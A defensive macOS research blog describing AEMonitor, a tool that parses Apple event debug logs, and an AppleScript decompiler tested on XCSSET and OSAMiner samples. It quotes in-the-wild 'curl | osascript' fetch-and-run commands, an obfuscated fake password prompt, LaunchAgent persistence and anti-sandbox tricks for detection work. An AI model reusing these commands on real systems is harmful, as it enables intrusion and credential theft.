Recent macOS malware commonly abuses AppleScript through osascript or Script Editor. Detection rules for these rely on specific strings being present when osascript is used. If the AppleScript is not run inline, these detections break and we need to rely on other indicators to detect the malware.

This post demonstrates how we can use macOS Unified Logs to monitor for Apple event debug logs. With these logs, we can observe activities that were difficult to piece together with just process creation and file creation events. AEMonitor is a tool that allows us to stream and parse these Apple event debug logs and recover pseudocode using my previous AppleScript decompiler research.

Logs from a MacSync sample

Hiding from the command line

Here is a table of techniques that abuse osascript along with sample detections:

While these detections are useful, we have seen malware execute osascript without passing its scripts inline. Objective-See’s The Mac Malware of 2025 gives an overview of some recent ones. One recent example is MacSync.

curl -k -s ... "http://.../dynamic?txd=$token" | osascript

For a more complete overview of examples we’ve seen in the wild, see Appendix: How to hide from the command line.

The Problem

Aside from actions that use do shell script, if attackers aren’t using inline scripts when using osascript, it’s not immediately clear whether alternative telemetry exists that can help us detect some of these techniques, or if telemetry does exist, it’s hard to piece them together:

• Login Item Added: There is an ESF Launch Item Added Event; however, we won’t be able to link it back to the original process and need to rely on timing.
• Fake Password Prompt: As far as I know, there is no alternative. We just need to detect the validation of the harvested credential (like using dscl)
• Tell Application X: Similar to the login item use case, when osascript sends commands to other applications, there may not be a clear link between osascript and the actions of the target application. Let’s say a Mythic apfell implant uses terminals_send, it may be hard to distinguish between Terminal actions typed by the user and those sent by the implant.

Monitoring Apple Events

A key insight I got from working on the AppleScript decompiler is that many actions performed via osascript are just Apple events under the hood. When you run display dialog "...", the AppleScript runtime translates it into Apple events that get sent between applications. If we can observe events at the Apple event layer, we can monitor this behavior regardless of whether the script came from osascript -e, a compiled .scpt file, or Script Editor.

Apple Event Debug Output

To begin monitoring Apple events, we look at their debug output. When going through the Apple Events Programming Guide, I encountered the environment variables AEDebugReceives and AEDebugSends. When a process has these set, the Apple events it produces are printed out.

Let’s say this is sample.scpt

display dialog "This is the sample description" default answer "" with hidden answer
set volume with output muted

Running this produces the following Apple Event debug output:

$ AEDebugReceives=1 AEDebugSends=1  osascript ./sample.scpt
{syso,dlog target='psn '[osascript] {dtxt=utxt(0/$),htxt=true(0/$),----=utxt(60/$540068006900730020006900730020007400680065002000730061006d007000...)} attr:{subj=NULL-impl,csig=65536} returnID=798}
{aevt,stvl target='psn '[osascript] {mute=true(0/$)} attr:{subj=NULL-impl,csig=65536} returnID=24722}

Depending on what the target is, these keywords (such as dlog, stvl, dtxt, htxt, …) can be looked up in an .sdef file or the Apple Event Codes.

For the example above, we can reference StandardAdditions.sdef.

Limitation: Strings use the format utxt(<length>/$<hex encoded>). The encoded string is truncated at 32 bytes, and after stripping null bytes, we typically get a maximum of 16 readable characters. So if we convert the Apple event debug output above back into AppleScript, we would get

display dialog "This is the samp..." default answer "" hidden answer

If you want to learn more about this, I go into more detail in Sending Apple Events. Additonally, to understand the {want=...,from=...,seld=...,form=...} structure, see Resolving Object Specifier Records

Unified Logs

Using AEDebugSends was interesting, but this only applies to processes we manually run. How do we enable and collect this for all processes that use AppleScript? It turns out, these debug logs can be collected through macOS’ Unified Logs!

By querying the subsystem com.apple.appleevents and streaming --debug logs, we can find Apple event debug output in the eventMessage.

$ log stream --predicate 'subsystem=="com.apple.appleevents"' --debug
...
2026-02-20 00:22:05.969519+1100 0xa28c0    Debug       0x0                  6132   0    osascript: (AE) [com.apple.appleevents:main] sendToSelf(), event={syso,dlog target='psn '[osascript] {dtxt=utxt(0/$),htxt=true(0/$),----=utxt(60/$540068006900730020006900730020007400680065002000730061006d007000...)} attr:{subj=NULL-impl,csig=65536} returnID=-29954} reply=0xNULL-impl sendMode=1043 timeout=7200
...

After going through the logs, I’ve focused on log entries with event= or reply= that contain the event debug output.

$ log stream --predicate 'subsystem=="com.apple.appleevents" AND (eventMessage contains "event={" OR eventMessage contains "reply={")'   --debug

Now, the sysodlog event refers to the Apple event that creates a prompt to the user. The aevtansr event is the output of display dialog, which captures which button was clicked and what text the user entered. We are able to link the two events through the returnID=22427 field.

With this, we can:

1. See the display dialog being created
2. Read the responses from the user

Private Data

If you test this, you’ll quickly find that certain actions don’t appear in the debug logs. These are typically commands that include tell application X. These commands are redacted with <private>

OSStatus sendToModernProcess(mach_port_t, UInt32, const AppleEvent *, UInt32, AESendMode)(port=(port:126211/0x1ed03 send:2 limit:0) msgID=0 timeout 7200 event=<private>

To see the Apple events sent between applications, we need to enable private data in Unified Logs.

An added bonus of enabling private data is that we also see interesting strings with the cloneForCompatability( event. This is something also mentioned by Fouad Animashaun in his talk. It isn’t clear to me when this log is generated. Regardless, it has some useful strings:

• The start of scripts that osascript executes
• For some utxt that are truncated in the event={...} body, we can see more of the string in cloneForCompatability

Why is “compatibility” spelled incorrectly? 🤷

The strings in clone... get truncated at around 1000 characters and if we combine these with the raw of the the events we have, we get a pretty good picture of the actions that was done by `osascript.

Telemetry Coverage

To test AEMonitor, we use the following benchmark script.

We run this in two configurations: with and without private data enabled.

Notes:

• For Use Finder to duplicate Safari cookies, although duplicate file action is visible, we don’t see the full picture. Because the strings are truncated, we won’t always see what exact file was created.
• The run script action itself is seen, but you just get the first 16 characters of the script.
• Anything with tell application needs private data enabled to be observed
• Private data gives us the first 1000-ish character of scripts being run
• Using ObjC frameworks into the osascript don’t generate Apple events, and is outside the scope of this tool.

telemetry by default

telemetry with private data enabled

Using AEMonitor for malware analysis

The most immediate use case is dynamic malware analysis: enable private data, run your sample, and use AEMonitor to parse the unified logs. You can run the tool in stream mode.

aemonitor stream

Or collect the logs and parse them afterwards:

# Configure unified logs to persist Apple event debug logs
sudo log config --subsystem com.apple.appleevents --mode level:debug,persist:debug

# After running the sample, collect the logs
log collect

# Parse the logs
aemonitor parse ./system_logs.logarchive

Hunting and Building Detections

In the same way that PowerShell Script Block Logging has been invaluable for defenders of Windows hosts, I hope that this approach becomes useful for those of us who are trying to defend macOS hosts. Admittedly, this approach isn’t as complete and powerful as PowerShell Script Block Logging. Even without enabling private data in the Unified Logs, we can still build some useful detections or indicators by just collecting the debug logs of the com.apple.appleevents subsystem.

With something equivalent to log stream --predicate 'subsystem=="com.apple.appleevents" AND (eventMessage contains "event={" OR eventMessage contains "reply={")' --debug

Similar detections can be made with the other techniques if we enable private data, you may also want to filter for cloneForCompatability in your predicate. I’ve only focused on ASCII text since most of the utxt in cloneForCompatability are already in the event={} and reply={} logs.

log stream --predicate 'subsystem=="com.apple.appleevents" AND (eventMessage contains "event={" OR eventMessage contains "reply={" OR eventMessage contains "cloneForCompatability(s=\"")' --debug

If you want to use the AEMonitor as a module, there is an exposed enrich_unified_log python function to experiment with.

from aemonitor import enrich_unified_log

enrich_unified_log({
    "eventMessage": "sendToSelf(), event={syso,exec ...",
    "processImagePath": "/usr/bin/osascript"
})
# this adds an `appleEvent` field

As the project is still in its early days, the AppleScript produced by the tool may not be stable for production use. I would recommend making detections directly on the raw eventMessage of the Unified Logs.

How stable is this? Is it possible that the format of the Apple events debug output would change?

Hopefully it stays stable 🤞. A similar approach to this is PhorionTech/Kronos which monitors the TCC debug logs, and they did mention minor changes in the format of the logs (see: The Clock is TCCing). Looking around, we can find debug output from 7 years ago and it doesn’t seem like it has changed since.

Example: Converting YARA rules into detections

Recently Apple released some updates on to XProtect that included some rules with AppleScript. Let’s take two examples and see

MACOS.OSASCRIPT.DUENHA

rule XProtect_MACOS_OSASCRIPT_DUENHA {
    meta:
        description = "MACOS.OSASCRIPT.DUENHA"
        uuid = "BD3F3491-8A81-43C4-84F7-23CB3DFC4931"
        interpreter = "osascript"

    strings:
        # "=$(echo ?? |"
        $a0 = { FF F3 00 ?? 03 FF F2 00 3D 03 FF F1 00 24 03 FF F0 00 28 03 FF EF 00 65 03 FF EE 00 63 03 FF ED 00 68 03 FF EC 00 6F 03 FF EB 00 20 03 FF EA 00 ?? 03 FF E9 00 7C 03 } 
        # "base64
        $a1 = { FF E0 00 62 03 FF DF 00 61 03 FF DE 00 73 03 FF DD 00 36 03 FF DC 00 34 03 FF DB }
        $a2 = "sysodsct"
        $a3 = "sysoexec"

    condition:
        OSACompiled and all of them and filesize < 1MB
}

This tries to detect an obfuscation technique using ASCII Character X which I’ve shown ITW example previously. Luckily, this results in an Apple event!

Running something like

do shell script (ASCII character 117) & (ASCII character 110) & (ASCII character  97) & (ASCII character  109) & (ASCII character  101)

We see

Repeated usage of syso,ntoc prior to do shell script or run script could be a red flag for obfuscation.

MACOS.OSASCRIPT.DUAP

rule XProtect_MACOS_OSASCRIPT_DUAP {
    meta:
        description = "MACOS.OSASCRIPT.DUAP"
        uuid = "6EF56AD6-B1B7-4C7A-AB07-6AFA01303173"
        interpreter = "osascript"

    strings:
        $a0 = { 74 00 6d 00 70 00 3a 00 2e 00 ?? 0a } # /tmp/.
        $a1 = "sysodsct"

    condition:
        OSACompiled and all of them and filesize < 1MB
}

Running a script like osascript -e "run script \"/tmp/test.scpt\"" we get the following event from the enriched Unified Log

{
    "processImagePath": "/usr/bin/osascript",
    "eventMessage": "sendToSelf(), event={syso,dsct target='psn '[osascript] {----=utxt(30/$2f0074006d0070002f002e0074006500730074002e007300630070007400)} attr:{subj=NULL-impl,csig=65536} returnID=-30919} reply=0xNULL-impl sendMode=1043 timeout=7199",
    "appleEvent":
    {
        "event":
        {
            "raw": "{syso,dsct target='psn '[osascript] {----=utxt(30/$2f0074006d0070002f002e0074006500730074002e007300630070007400)} attr:{subj=NULL-impl,csig=65536} returnID=-30919}",
            "return_id": -30919,
            "applescript": "run script \"/tmp/.test.scpt\""
        }
    }
}

We could look for syso,dsct with 2f0074006d0070002f002e00

Appendix: How to hide from the command line

This section goes through several examples demonstrating the many ways attackers can invoke osascript.

Curl piped to osascript

osascript allows scripts to be piped via STDIN, which lends itself easily to patterns like curl <url> | osascript. Digit Stealer, Phexia, BlueNoroff, and MacSync all have had variants use this at some point in their chain of execution.

nohup curl -fsSL hxxps://67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/1e5234329ce17cfcee094aa77cb6c801.aspx | osascript -l JavaScript >/dev/null 2>&1 &

Run script from file

Phexia launched osascript as part of its persistence method:

<plist version="1.0">
  <dict>
    <key>Label</key>
    <string>com.test.simple</string>
    <key>ProgramArguments</key>
    <array>
      <string>/usr/bin/osascript</string>
      <string>/Users/user/Library/gfskjsnghdjsvuxj</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
  </dict>
</plist>

We’ve also seen BlueNoroff and some MacSync variants use .scpt files so that Script Editor runs the AppleScript.

Fake Update (source: Huntress)

Aside from these, in the past, we’ve seen XCSSET and OSAMiner use compiled AppleScripts for execution.

Admittedly, since the malicious script is on disk, there is a chance for YARA rules to match on this, and process the script content upon execution if you have a sophisticated enough monitoring tool.

Run script within osascript

In the same way that we have exec() in JavaScript and Python, we have run script for AppleScript. We’ve seen this in .scpt files from BlueNoroff

set fix_url to "hxxps://support.us05web-zoom[.]biz/842799/check"
set sc to do shell script "curl -L -k \"" & fix_url & "\""
run script sc

This allows attackers to dynamically fetch and run arbitrary scripts, which leads to the next technique.

Obfuscated

With run script, attackers can obfuscate their scripts and deobfuscate them at runtime. A toy example is simply reversing the string:

osascript \
	-e 'set payload to "\"werb\" eltit htiw rewsna neddih htiw \"\" rewsna tluafed \"gnp.x2@etatS dekcoL_kcoL:secruoseR:A:snoisreV:krowemarf.ecafretnIytiruceS:skrowemarF:yrarbiL:metsyS\" elif noci htiw  \":drowssap nigol retnE\" golaid yalpsid"' \
	-e 'set payload to reverse of payload'\''s items as text' \
	-e 'run script payload'

A recent in-the-wild example would be Odyssey Stealer samples.

osascript -e 'run script "run script \"\" & return & \"on f3368611526666962209(p6418423763347269161)\" & return & ...'

I’ve discussed more examples of obfuscation from samples I’ve analyzed in Obfuscation Techniques used by samples.

Acknowledgements

Thanks to @_calumhall and sysop_host for their input and helping test the project.

The applescript-decompiler is a feature-rich decompiler of run-only AppleScripts.

In this blog, we have the following sections:

• Validate the tool against XCSSET samples with known source
• Explore anti-analysis and anti-sandbox behavior in older malware
• Show common obfuscation tricks used in the wild
• Walk through key internals that make the decompiler work

Intro to run-only AppleScripts

AppleScript is a native macOS scripting language increasingly used in macOS malware. While not as powerful as low-level languages, it offers attackers practical advantages:

• straightforward UI automation for social engineering
• inter-application communication via Apple events for covert actions

Recent macOS threats, especially AMOS-related samples, show how useful AppleScript can be. Other blogs (1, 2) cover this in depth, so this post focuses on one specific variant: run-only AppleScripts.

# Create a run-only AppleScript
osacompile -x -o run_only.scpt sample.scpt

# > osadecompile run_only.scpt              
# osadecompile: run_only.scpt: errOSASourceNotAvailable (-1756).

Although uncommon, run-only scripts have appeared in recent XCSSET campaigns [3] [4] and older malware like OSAMiner [5].

Most AppleScripts are easy to analyze due to their readability. But once compiled as run-only, analysis becomes much harder. If attackers start using this more often, it could turn into a new obfuscation technique worth watching [6]. For now, I mainly treat this as an interesting side-project.

Microsoft Threat Intelligence notes:

Direct decompilation of run-only compiled AppleScript is generally considered challenging or not feasible.

Aside from applescript-disassembler, tooling remains limited. Earlier efforts like aevt_decompile help, but overall analysis techniques remain insufficient [7].

This blog aims to begin closing that gap. I am introducing the applescript-decompiler which was built on top of the applescript-disassembler.

Demo: XCSSET

If you believe me when I say that the decompiler is accurate, then you can skip this section. Otherwise, I’ll aim to show the decompiler’s accuracy by comparing the recovered scripts with their known source code.

Our main reference here is TrendMicro’s report on the XCSSET Malware back in 2020. There have also been other blog posts on this, but they are lighter on details. The samples we’ll use here match those from the 2022 SentinelOne post and the 2025 Microsoft post.

The reference source code was obtained directly from the C2 server or captured on the wire. This will help us validate the quality of the decompiler.

Getting started

Let’s start with two small samples to show how the tool works.

All of these files are AppleScript compiled files, but when we try to run osadecompile, it fails with errOSASourceNotAvailable, which is expected for run-only scripts.

Let’s say you wanted to decompile 3864…555d using osadecompile

(venv) ➜  file 3864...555d        
3864...555d: AppleScript compiled
(venv) ➜  osadecompile 3864...555d
osadecompile: 3864...555d: errOSASourceNotAvailable (-1756).

Using applescript_decompile, we recover the readable source code. The output is close enough to real AppleScript that syntax highlighting works. The source of 3864…555d matches with the one mentioned here

-- (venv) ➜  applescript_decompile 386473424d583678a01ba88d12831e17d496eae2fcabf857d8db2cefa338555d

on run
    try
        (do shell script "osascript '/Users/user1/Library/Application Support/com.apple.spotlight/Notes.app/Contents/Resources/Scripts/a.scpt'")
    on error
        return
    end try
end run

Doing the same for the ukkc also gives a result. However, the strings are obfuscated:

-- g=$(echo $w | cut -c1-32 );echo $w | cut -c33- | base64 --decode | openssl enc -d -aes-256-cbc -iv $g -K 27860c1670a8d2f3de7bbc74cd754121
on run
    set x to ""
    repeat with [var_1] in {103, 61, 36, 40, 101, 99, 104, 111, 32, 36, 119, 32, 124, 32, 99, 117, ... }
        set x to x & (kfrmID  cha  of [var_1])
    end repeat
    try
        (run script (do shell script "w=" & [var_0] & ";" & x))
    on error

    end try
    return ""
end run

We’ll look at automatic deobfuscation later. For now, converting the values in [var_1] into characters manually gives us:

g=$(echo $w | cut -c1-32 );echo $w | cut -c33- | base64 --decode | openssl enc -d -aes-256-cbc -iv $g -K 27860c1670a8d2f3de7bbc74cd754121

The key 27860c1670a8d2f3de7bbc74cd754121 also appears in Microsoft’s write-up

main bootstrap module

We look at the main a payload from d5fb…a2df and compare this with snippets shown by TrendMicro back in 2020. There is strong overlap between the 2020 source and the 2022 decompiled version.

We can see the basic system collection in the init function.

And we can see that it still has the browser-related code.

And the code snippets for loading have the same structure but have been updated for newer versions of macOS.

listing module

SentinelOne published some code excerpts. The decompiled output matches the structure shown in their samples.

checking for XProtect

exfiltration code

notes_app module

Microsoft in early 2025 [4] reported a more developed version of the notes_app module, but earlier variants already appear in some 2022 samples.

Creation of fake Notes app to steal notes

TCC retry

xmyyeqjx

For xmyyeqjx.scpt, we no longer have the source of the AppleScript. If we use the applescript-disassembler, some code segments are not properly disassembled.

maybe binding?

I’m not sure what this is. Maybe a script block? I’ve added a -f flag to try to recurse through these and look for code segments that look like functions.

applescript_decompile xmyyeqjx.scpt -f 

decompiled xmyyeqjx.scpt

The decompiled code matches with the behavior described in Microsoft’s recent post on this.

The downloaded script first gets the device’s serial number and the current username by executing shell commands. It then forms path to the LaunchDaemon plist file and constructs its content. It uses the echo command to paste this constructed content to the LaunchDaemon file. The file name is the name that was passed in the argument.

Demo: OSAMiner

Now that we’ve validated the tool against XCSSET, let’s try it on something where the original source is unknown. We’ll try the tool with OSAMiner samples, which Phil Stokes previously analyzed. My goal is to show that this tool makes analysis easier and lets us look more deeply into the capabilities of the samples.

We are going to be analyzing the OSAMiner.zip. The filename references in this section are from that zip.

Anti-analysis and anti-sandbox

We analyze com.apple.4V.plist and we see that it employs some logic to:

• decrypt strings at runtime
• perform a bunch of checks to evade detection and analysis

Decrypting Strings

Decompiling com.apple.4V.plist, we are able to see d(_s) and e(_s)

This is used all over OSAMiner.

code with encrypted strings From this, it is easy to see that d decrypts the ciphertext by shifting the characters by 100. This can be implemented easily with the following python code:

 def d(_s):
    return "".join(chr(ord(ch) - 100) for ch in _s)

This custom processor can be added to applescript_decompile by using --analyzer OSAMinerDecryptAnalyzer and this automatically detects non-ASCII strings and does the decryption.

with --analyzer OSAMinerDecryptAnalyzer

All output after this point uses this analyzer.

Sandbox Detection

OSAMiner has implemented some anti-sandbox and anti-analysis techniques.

For example, it checks whether the system has at least 100GB of disk space using System Events.

disk check

Another check is the age of the com.apple.XXX.plist, which was dropped by the previous code snippet. If it is less than 1 day old, the script sleeps and waits. This means that when this payload is run in most analysis sandboxes, it will be dormant and remain undetected.

date check

Next, it checks for internet connectivity and waits until it has internet access. Only then does it try to contact the C2 server.

internet check

After getting the C2 domain, it uses a poor man’s fileless malware technique by dropping a file, running the payload and deleting the file shortly after to prevent future static analysis of the file.

execution through Apple Events

Finally, it makes sure that the LaunchAgent is restarted by running launchctl stop and start . But instead of running this directly, it runs it in a new Terminal window through Apple Events. This makes it hard to link the launchtl command back to this payload. The parent process of Terminal would be launchd. This makes behavioural analysis harder.

Impairing Defenses

This technique is briefly touched on by Phil Stokes in 5. But the decompiled source makes the technique much more clear.

In k.plist, we see the function kPro

killing process by name

This is used to kill Activity Monitor

don’t look at me

And we see that it tries to look at running anti-virus software through ps. If that doesn’t work, it looks through the installation logs to find and kill these specific apps.

impair defenses

Masquerading as plist

Another interesting sample is office4mac.app. We see there is code to convert a string to hex. This is used to exfiltrate the output of applet.plist

executing plist?

If we look at the file types on the contents of office4mac.app, we see some imposters.

masquerading

Demo: Obfuscation Techniques used by samples

Here we just go through some samples with obfuscation in them.

Variable substitution

We look at 888.scpt. This was something that I encountered in a previous blog post. The 888.scpt is a run-only script.

The decompiled script isn’t very complicated, but it is obfuscated with variable substitutions.

obfuscates the URL for the 2nd stage DMG

ASCII Character X

I’ve seen a bunch of compiled AppleScripts from samples like app.macked.parallels-desktop.activation

Peeking into them, we can see that their scripts are obfuscated with (ASCII Character X).

obfuscates the URL for the 2nd stage DMG

I added a NaiveStringAnalyzer analyzer that will find (ASCII Character X) and just replace it with the string equivalent, and then try to concatenate the inputs.

with --analyzer NaiveStringAnalyzer

Array of Integers

With the analyzer, the ukkc output is also automatically deobfuscated.

unobfuscated ukkc

NaiveStringAnalyzer works by finding numeric literals that might be ASCII and converting them into single characters. And then we override the rendering of lists and concatenate all the strings together.

Building a decompiler

Disclaimer: I don’t do reverse engineering, so terminology used here might not be the best. A lot of this is just guesswork.

This tool uses the disassembled code produced by applescript-disassembler. Below is an example of the output of the disassembler.

applescript disassembled code

By the end of this blog, I hope I’ve given you the basics you need to understand the code above.

Basic Expressions

To get started, we must first understand how expressions are represented and built during the decompilation process

In the same way that Java has its JVM and the java-bytecode, I assume that AppleScript has an AppleScript Virtual Machine (VM) which interprets the AppleScript bytecode. I imagine that there are several runtime stacks and some variables/registers which I will try to slowly introduce.

my mental model of the applescript vm

For now, we need a runtime_stack. For any operation:

1. We push values to the stack that serve as inputs for future operations
2. When an operation is performed, the operands (or arguments) are popped from the stack
3. The result is pushed back into the stack

runtime_stack.push(1) # Push1
runtime_stack.push(1) # Push1

# Add
r_operand = runtime_stack.pop()
l_operand = runtime_stack.pop()
add_result = l_operand + r_operand
runtime_stack.push(add_result)

This might be fine if we want to just emulate the VM. However, because we want to decompile it, we need to retain all the logic. To do this, we need to define and use an Abstract Syntax Tree (AST) to represent certain operations rather than performing them.

runtime_stack.push(1) # Push1
runtime_stack.push(1) # Push1

# Add
r_operand = runtime_stack.pop()
l_operand = runtime_stack.pop()
runtime_stack.push(BinaryOp(
    kind="ADD",
    l=l_operand,
    r=r_operand
))

Now let’s use a more complicated expression.

Above, there is Push1 and PushLiteral*. What’s the difference? For commonly used numbers like 1, 2 and -1 (maybe for iteration), there seems to be dedicated instructions for each of them. For other numbers and strings, the instruction is followed by a pointer to a literals table.

So for example, if we have PushLiteralsExtended "hello world" this is actually equivalent to the following code

-- PushLiteralsExtended
v= get_next_word()          -- Get next word after PushLiteralsExtended instruction
v = literals[v]             -- Lookup the address `v` in some literals lookup table 
_stack.push(literals)       -- Push value to stack

Going back to the previous expression, -(1 ^ 5) / 3 would result in something equivalent to this python script

runtime_stack.push(1) # Push1
runtime_stack.push(5) # PushLiteral* 5

# Power
r_operand = runtime_stack.pop()
l_operand = runtime_stack.pop()
runtime_stack.push(BinaryOp(
    kind="POWER",
    l=l_operand,
    r=r_operand
))

# Negate
operand = runtime_stack.pop()
runtime_stack.push(UnaryOp(
    kind="NEGATE", 
    operand=operand
))

runtime_stack.push(3) # Push3

# Divide
r_operand = runtime_stack.pop()
l_operand = runtime_stack.pop()
runtime_stack.push(BinaryOp(
    kind="DIVIDE",
    l=l_operand,
    r=r_operand
))

And when we see StoreResult, this is a usually the end of a statement. It’s the end of an expression or part of a set operation like var = 1. From the decompiler’s POV, this is when something is “printed out”.

Variables

The next important thing is how variables are represented and used.

A PopVariable* occurs when we want to set the value of a varible. This doesn’t pop any value out of the runtime stack. I imagine that there is some variable registry that holds a pointer to variables that is used during the set operation.

runtime_stack.push(1) # Push1
# GetData (we ignore this)

# We set the variable registry to point to [var_0]
_var = '[var_0]' # PopVariable [var_0]

# StoreResult
code.append(SetStatement(
    target=_var,
    value=runtime_stack.pop(),
))
_var = None

When we encounter StoreResult, if _var is set. then this is a set statement. Otherwise, we just print out the expression in the top of the stack.

Finally, when we see PushVariable, this is how

Vectors and Records

This is how we make a list:

Push element_1
...
Push element_N
Push <number of elements>
MakeVector -- [element_1, ..., element_N]

Making records (dictionaries), is similar but instead of pushing just the elements, you push value, key pairs

Push value_1
Push key_1
...
Push value_N
Push key_N
Push <number of elements>
MakeRecord -- {key_1: value_1, ..., key_n: value_N}

Records

AST Recap

To me, this problem has become a data structure problem (which I find very fun).

So as we go through the instructions, we define simple rules that push, pop, and combine values on the runtime stack in order to build the complex expressions that we see in the decompiled code.

This forms a data structure that you might call an Abstract Syntax Tree. Once we have this syntax tree, it is very easy to print out some psuedo-code by traversing the tree.

Handler/Function Calls

AppleScript uses the term Handlers, so we use the same terminology here.

The general structure of a handler call convention looks like this

Push <target>
Push arg0, arg1, ...
Push <number of arguments>
PositionalMessageSend <handler name>

The instruction PositionalMessageSend is equivalent to an invocation of a “handler call”.

So what is the target? There are different types of targets.

set other_script to load script POSIX file "/path/to/Logger.scpt"

-- Uses other_script's definition of logMessage
other_script's logMessage("Hello")   -- Target: PushGlobal b'other_script' 

-- Explicitly uses the current script's logMessage
my logMessage("Hello")               -- Target: PushMe

-- Uses the default logMessage
logMessage("Hello")                  -- Target: PushIt

Sending Apple Events

When AppleScript automates another application’s actions, this is done through an Apple event.

Let’s say we have the following code

tell application "Terminal"
    do script "whoami" -- opens a new empty window  
end tell


display dialog "This is a message with a note icon." with icon note

We might see the following instructions

The convention for sending an Apple event is

Push <target application>
Tell
    Push <direct parameter>
    Push <parameter 1>
    ...
    Push <parameter N>
    Push <number of parameters>
    MessageSend <event code + event id>
EndTell

In the example above, we see that:

How do we get from coredosc to do shell ? When an application wants to support automation from AppleScript, it registers Apple events handlers for specific events. These are defined in the *.sdef files (scripting definition) of the application. For easy lookup, I used JXA-userland/JXA to search through some common apps.

If we look up coredosc in Terminal.sdef we can see that it is for do script.

Terminal.sdef

For display dialog example above, there is no tell block for it. So what application does it send it to? I don’t know… but I guess it goes to macOS itself. You would either see the event in StandardAdditions.sdef or under “AppleScript Language”.

display dialog

This results to the following Apple event

Looking up in the StandardAdditions.sdef we can see that sysodlog and disp is display dialog and with icon.

display dialog “…” with icon

And the specific icon stic\x00\x00\x00\x01 resolves to note

stic of type note

Control Flow Structures

Now that we have discussed the basics expressions and function calls, we now need to discuss control flow structures. There are many different kinds of loops and structures. I will focus on just 3 control flow structures:

• try-on-error
• repeat with X in list
• if-then-else

Try-On-Error Blocks

So we have two main blocks

try
    <try block>
on error 
    <on error block>
end try

The try block is easy to figure out. They start and end with a ErrorHandler and EndErrorHandler instructions.

In the other hand, the on-error block is defined by the addresses found in ErrorHandler and EndErrorHandler.

ErrorHandler    <address to the instruction start of the on-error block>
...
EndErrorHandler <address of the instruction after the on-error block>

Repeat with X in list

Repeat loops were challenging because there are many different types, and many of them were not implemented in the original disassembler.

All loops have a basic structure

LinkRepeat <address to the end of the loop> -- useful to know where to go when using exit
...
<specific repeat instruction> -- RepeatInCollection 
...
Jump <address to the start of the loop>

If you have something like, then you only have LinkRepeat and Jump to find your repeat block.

repeat
    set counter to counter + 1
    log "counter = " & counter
    if counter > 5 then exit repeat
end repeat

If we use the repeat with x in y, then we expect to see RepeatInCollection then instruction expects something like

Push <y>
Push <length of y>
RepeatInCollection <x>

In the compiled code, it looks a bit longer than that. However, if you analyze it, you’ve realize that the corecnte call is just to get the length of x.

There are many other kinds of repeats such as RepeatNTimes , RepeatWhile, RepeatUntil , and RepeatInRange. You simply need to figure out what inputs need to be pushed in the runtime stack before the instruction is executed.

If-else statements

Similar to the try-on-error blocks, we think of this as having two blocks

if <cond> then
    <then_block>
else
    <end_block>
end if

The start and end of the blocks are more challenging to find.

Push   <condition>
TestIf <address to the instruction start of the else block>
...
Jump   <address of the instruction after the else block>

What about if-elseif-else ? To simplify the process, we just treat these as nested in the else block.

If both repeat and if-else blocks use the Jump, does it get confusing? Yes it does. I’m not really sure if I handled it correctly…

Dealing with nested blocks.

To deal with the nesting of blocks, I maintained a block_stack, which simulates some parts of the native stack. Whenever the decompiler encounters a block, let’s say an if-else statement, then this is pushed on top of the block_stack. We continue looping through the disassembled instructions until we reach the end of the if-else blocks. If the if-else statement is complete, then we pop it out of the block_stack and we insert it to whatever is on the top of the stack.

Rendering the decompiled code

For now, let’s assume that we have properly created a AST. What do we do now? Well, we try to print out original code from this structure. This involves recursively printing out strings and slowly building out the source code.

A simplified version of this is

def render(node):
    if isinstance(node, BinaryOp):
        l_str = render(node.l)
        r_str = render(node.r)
        op_str = _binop_to_src(node.op) # Convert BinaryOpKind.ADD -> "+"
        return f"{l_str} {op_str} {r_str}"
    elif isinstance(node, visit_NumberLiteral):
        return str(node.value)

node = BinaryOp(
    l = BinaryOp(
        l = 2,
        r = 3,
        op = BinaryOpKind.MUL
    ),
    r = 5,
    op = BinaryOpKind.ADD
)
# 2 * 3 + 3 
print(render(node))

Of course, the code in the tool is more complicated than this. If the AST is defined and built properly, this should be one of the easier parts of the problem to code.

Automatic Debofuscation

Because we define the AST first and then we print it at the end. We can perform some processing before printing out the code. One example of this is decrypting the strings in OSAMiner

To do this, we first need to understand how the AppleScriptPrinter works.

class AppleScriptPrinter:
        ...
        def visit_SetStatement(self, node: SetStatement, indent: int = 0) -> str:
            ...
        def visit_IfStatement(self, node: IfStatement, indent: int = 0) -> str:
            ...

This class has a method for each node type in the AST. To decrypt all potential strings, we can override the visit_StringLiteral method that includes our decrypt function.

class OSAMinerDecryptAnalyzer(AbstractAnalyzer):
    # This looks for non printable strings and assumes that this needs to be
    # decrypted with the `d` function
    def visit_StringLiteral(self, node: StringLiteral, indent=0):
        if node.value.isascii():
            return self.printer.visit_StringLiteral(node, indent=indent)
        return "\"" + "".join(chr(ord(ch) - 100) for ch in node.value) + "\""

If we use the --analyzer parameter, this is injected to the AppleScriptPrinter and our analyzer will override the original visit_StringLiteral, essentially allowing us to hook into the way the string literals are printed out.

Although unlikely, let’s say we want to bring our own analyzer. You would need to create a class and extend AbstractAnalyzer. Instances of AbstractAnalyzer will the self.printer attribute that can be used to pass the rendering back.

from applescript_decompiler.analyzer import AbstractAnalyzer
import re
import json
def defang(text: str) -> str:
    # Regex that matches IPv4 addresses, domains, and URLs in one pass
    pattern = re.compile(
        r'\b(?:\d{1,3}\.){3}\d{1,3}\b'              # IPv4
        r'|'
        r'(?:https?://|ftp://|www\.)\S+'            # URLs
        r'|'
        r'\b(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}\b'     # Domains
    )

    def replacer(match):
        return match.group(0).replace('.', '[.]')

    return pattern.sub(replacer, text)

def extract_defanged_iocs(text: str):
    patterns = {
        # 192[.]168[.]1[.]1
        "ips": r'\b(?:\d{1,3}\[\.\]){3}\d{1,3}\b',

        # example[.]com, sub[.]domain[.]co[.]uk
        "domains": r'\b(?:[a-zA-Z0-9-]+\[\.\])+[a-zA-Z]{2,}\b',

        # http://example[.]com/path, https://sub[.]domain[.]net, www[.]test[.]org
        # (must contain [.] somewhere in the URL)
        "urls": r'\b(?:https?://|ftp://|www\.)\S*\[\.\]\S*'
    }

    results = {k: sorted(set(re.findall(v, text))) for k, v in patterns.items()}

    return results

class DefangAnalyzer(AbstractAnalyzer):
    def visit_StringLiteral(self, node: StringLiteral, indent=0):
        # defang any string generated by the script
        return defang(self.printer.visit_StringLiteral(node, indent=indent))

    def visit_Script(self, node: Script, indent=0):
        # Render the script normally first 
        script_source = self.printer.visit_Script(node, indent=indent)

